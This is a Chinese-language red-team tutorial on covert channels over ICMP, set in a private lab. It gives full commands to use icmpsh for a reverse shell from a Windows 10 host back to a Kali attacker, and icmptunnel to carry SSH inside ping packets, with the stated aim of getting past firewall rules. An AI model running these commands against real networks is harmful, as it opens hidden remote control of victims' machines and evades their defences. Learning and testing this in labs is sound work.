在這篇文章中,你會了解到通過ICMP命令控制和ICMP隧道進行數據竊取的RED TEAM行動,使用這兩種方法在網絡中產生的畸形流量,有助於規避防火牆規則。

ICMP協議工作方式簡介

Internet控制報文協議(ICMP)是Internet協議族中一個。它被用於包括路由器在內的網絡設備中,用來發送錯誤報文和操作信息,表示所請求的服務不可用或是主機/路由不可達。ping命令使用第三層即網絡層協議,通過ICMP載荷發送消息,該數據包會被封裝上IP頭。由於MTU的限制,ICMP包的大小不能大於1500字節。

網絡層中的ICMP包

Ping命令會向目標主機發送一個IMCP的echo請求。目標主機如果回覆echo響應則表示主機存活。

利用ICMP協議進行命令控制

我們發佈的很多內容中都討論了C2通道,又叫做命令控制,具體內容可以在這裏找到。而在這篇文章中,你會了解到如何將ICMP協議用作命令控制通道。網絡戰中散佈着入侵者和安全研究人員,因此,我們需要備用計劃。

衆所周知,現在的公司變得更加智能,他們可以理解例如類型相關的攻擊在實現了機器的TCP反彈連接。因此我們提出了使用icmpsh作爲命令控制工具的一種ICMP隱蔽shell的實現方法。

環境要求

攻擊機/C2通道:192.168.1.108(Kali Linux)

宿主機:192.168.1.106(Windows 10)

icmpsh:C2通道與安裝方法

icmpsh是一個簡單的ICMP反彈shell,擁有用C,Perl和Python實現的POSIX兼容主控端和一個win32的受控端。相比其他類似的開源工具來說,icmpsh的優點是在目標機器上運行時不需要管理員權限。

這一工具乾淨、簡單並且便攜。受控端(客戶端)使用C語言實現。只能運行在目標Windows機器上,而主控端(服務端)由於已經有Nico Leidecker用C和Perl實現的版本,而且之後又移植到了Python上,因此可以運行在任何平臺的攻擊者機器中。

Icmpsh很容易被安裝並用作c2通道。可以通過Github下載並在攻擊者機器中部署icmpsh。

git clone https://github.com/inquisb/icmpsh.git

以主模式運行icmpsh(Kali Linux)

下載完成之後,使用以下命令來運行主控端。執行之前最重要的一步是在你的機器上關閉ping回覆。這樣可以防止內核自己對ping包進行響應。

sysctl -w net.ipv4.icmp_echo_ignore_all=1
cd icmpsh
syntax: ./icmpsh_m.py <attacker’s-IP> <target-IP>
./icmpsh_m.py 192.168.1.108 192.168.1.106

以從模式運行icmpsh(Windows 10)

在宿主機器中以從模式再次安裝icmpsh工具,運行受控端的目標機器中的用戶不需要具有管理員權限。然後運行以下命令:

syntax: icmpsh.exe -t <Kali IP>
icmpsh.exe -t 192.168.1.108

在宿主機上執行完上述命令後,攻擊者就會收到運行着受控端的機器的反彈shell。你可以從下面給出的圖片中觀察到,這臺主控端機器通過受控端機器返回的命令提示符獲取了其控制權。

和我們預期的結果完全一樣,而且由於數據是利用PING請求/回覆報文通過網絡層傳輸,因此並不需要指定服務或者端口。這種流量是無法被基於代理的防火牆檢測到的,因此這種方式可能繞過一些防火牆規則。

ICMP隧道搭建

ICMP隧道是指將TCP連接通過ICMP包進行隧道傳送的一種方法。在此我們會獲取一個被封裝到ICMP包中的ssh會話。這也需要在第三層,即網絡層,建立一個封裝在icmp載荷中的tcp連接,這樣對於繞過防火牆規則可能也有一定的幫助。

環境要求

服務端機器:

ens33:192.168.1.108
tun0:10.0.0.1

客戶端機器:

eth0: 192.168.1.111
tun0:10.0.0.2

icmptunnel是一個將IP流量封裝到ICMP echo請求和回覆(ping)包中的隧道工具,是在允許ping的網絡中進行拓展、繞過防火牆的一種半隱蔽方式。雖然ICMP echo流量在網絡邊界通常會被過濾,但這種方法仍然可能對從企業內網出連到互聯網的技術有一定幫助。

雖然一些現有工具已經實現了這一技術,但在穿透狀態防火牆和NAT方面,icmptunnel提供了一個更可靠的協議和機制。

在服務端機器(目標)上配置ICMP

在宿主機上下載並安裝icmptunnel,按照下面圖中的命令進行編譯

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

首先,在客戶端和服務端都禁用ICMP echo回覆。這樣可以防止內核自己對ping包進行響應。

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

在服務端(宿主機),以服務端模式啓動icmptunnel,並且給新的隧道接口分配一個IP地址。

./icmptunnel -s
Ctrlz
bg
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
ifconfig

在客戶端機器(攻擊者)上配置ICMP

類似地,在攻擊者機器上重複同樣的流程安裝用於p2p連接的icmptunnel。

git clone https://github.com/jamesbarlow/icmptunnel.git

首先,對其進行編譯,然後禁用ICMP echo回覆防止內核自己對ping包進行響應。

cd icmptunnel
make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.108
ctrl z
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

通過ICMP連接SSH

到這裏應該通過ICMP包建立了一個點對點隧道。服務端的隧道IP是10.0.0.1,客戶端的隧道IP是10.0.0.2。嘗試通過客戶端上的tcp協議,SSH,來連接到服務端:

ssh [email protected]

在初始階段,icmp隧道就在服務端和客戶端之間建立了連接,如下圖我們藉助Wireshark捕獲的服務端和客戶端之間的流量所示。

每個流量都是ICMP包。ICMP的載荷部分就是HTTP/IP包。HTTP/IP包會被加速傳遞到網絡中。注意源IP是怎樣由於nat存在而被改變的。因此,流量不會出現在通過22號端口連接SSH所使用的傳輸層中。

相關文章